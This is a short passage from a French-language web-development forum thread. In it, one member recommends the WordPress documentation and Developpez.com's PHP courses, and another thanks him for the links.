    Inscrit en
    Juin 2010
    Messages
    3 093
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 35
    Localisation : France, Ille et Vilaine (Bretagne)

    Informations professionnelles :
    Activité : En recherche d'emploi

    Informations forums :
    Inscription : Juin 2010
    Messages : 3 093
    Points : 6 754
    Points
    6 754
    Par défaut
    Puisqu’on parle de Wordpress, aller checher les docs à la source est encore la meilleure solution. Du moins, quand on est à l’aise avec l’anglais…
    Sinon je peux te conseiller en toute confiance la section cours PHP de Developpez.com
    La FAQ JavaScript – Les cours JavaScript
    Touche F12 = la console → l’outil indispensable pour développer en JavaScript !

  16. #16
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    Merci pour ces liens.
    Bonne après midi.

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [MEX] Fichier générique pour différentes classes
    Par takout dans le forum MATLAB
    Réponses: 9
    Dernier message: 22/06/2012, 12h33
  2. Réponses: 4
    Dernier message: 10/12/2009, 19h25
  3. Lire un fichier pour importer une classe
    Par umeboshi dans le forum C++
    Réponses: 6
    Dernier message: 23/04/2009, 22h10
  4. pb fichier include pour classes dérivées
    Par Bapte59 dans le forum C++
    Réponses: 1
    Dernier message: 04/03/2009, 09h03
  5. comment intégrer un fichier .jar pour utiliser ses classes
    Par nina08 dans le forum Entrée/Sortie
    Réponses: 14
    Dernier message: 16/09/2008, 13h32

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo